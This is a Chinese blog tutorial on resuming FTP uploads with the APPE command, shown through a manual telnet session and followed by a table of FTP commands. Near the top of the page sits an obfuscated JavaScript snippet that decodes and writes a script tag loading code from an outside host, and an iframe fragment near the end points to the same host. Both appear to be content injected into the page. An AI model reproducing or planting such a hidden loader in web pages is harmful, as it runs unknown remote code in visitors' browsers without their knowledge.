FTP断点上传Telnet实现

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
FTP断点上传Telnet实现




FTP
断点上传
Telnet
实现
 
Author:zfive5(zhaozidong)
Email:zfive5@yahoo.com.cn
 
引子
:
 
前些日子
csdn
的一个网友给我发了一个短消息
,
问怎样实现
FTP
断点上传
!
刚开始我兴致勃勃的编开代码
,
当越编越多时

突然意识到
,
没有必要这样
!

telnet
给他演示一下就
ok

!
 
FTP
协议就不用介绍了
,
断点上传主要用到了
APPE
指令
(FTP
指令解释见附录
)

 
原理:
 
1
.首先登录
FTP
服务器。
2
.得到远端文件大小
(LIST

SIZE)

3
.使用
APPE
指令(需要说明的是
APPE
在一些服务器直接被服务器解析成了
STOR
命令,所以这里说的断点也就不能用了)

指定需要断点续传的文件。
4
.客户端根据服务器文件大小,读到断点之后的数据,发往服务器。
5
.当发送完成数据后,退出即可。
 
示例
:
 
FTP
服务
:Serv-U FTP Server v6.3
本地文件
: 1.TXT
 

   

: “I am ZFIVE5”
远端文件
:1.TXT

   

: “I am ”
 
CMD

telnet 127.0.0.1 21
S

220 Serv-U FTP Server v6.3 for WinSock ready...
C

USER A
S

331 User name okay, need password.
C

PASS A
S

230 User logged in, proceed.
C

SIZE 1.TXT
S

213 5
C

PASV
S

227 Entering Passive Mode (127,0,0,1,11,79)
                  
CMD

TELNET 127.0.0.1 2895
C

APPE 1.TXT
S

150 Opening ASCII mode data connection for 1.TXT.
                  
C

ZFIVE5
                  
CLOSE Windows
S

226 Transfer complete.
C

QUIT
S

221 Goodbye!
 
截图
:
 
 
附录
(
来自互联网
)
 
命令

  
描述

ABOR
中断数据连接程序

ACCT <account>
系统特权帐号

ALLO <bytes>  
为服务器上的文件存储器分配字节

APPE <filename>
添加文件到服务器同名文件

CDUP <dir path>
改变服务器上的父目录

CWD <dir path>
改变服务器上的工作目录

DELE <filename>
删除服务器上的指定文件

HELP <command>
返回指定命令信息

LIST <name>
如果是文件名列出文件信息,如果是目录则列出文件列表

MODE <mode>
传输模式(
S=
流模式,
B=
块模式,
C=
压缩模式)

MKD <directory>
在服务器上建立指定目录

NLST <directory>
列出指定目录内容

NOOP
无动作,除了来自服务器上的承认

PASS <password>
系统登录密码

PASV
请求服务器等待数据连接

PORT <address> IP
地址和两字节的端口
ID
PWD
显示当前工作目录

QUIT

FTP
服务器上退出登录

REIN
重新初始化登录状态连接

REST <offset>
由特定偏移量重启文件传递

RETR <filename>
从服务器上找回(复制)文件

RMD <directory>
在服务器上删除指定目录

RNFR <old path>
对旧路径重命名

RNTO <new path>
对新路径重命名

SITE <params>
由服务器提供的站点特殊参数

SMNT <pathname>
挂载指定文件结构

STAT <directory>
在当前程序或目录上返回信息

STOR <filename>
储存(复制)文件到服务器上

STOU <filename>
储存文件到服务器名称上

STRU <type>
数据结构(
F=
文件,
R=
记录,
P=
页面)

SYST
返回服务器使用的操作系统

TYPE <data type>
数据类型(
A=ASCII

E=EBCDIC

I=binary

USER <username>>
系统登录的用户名
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值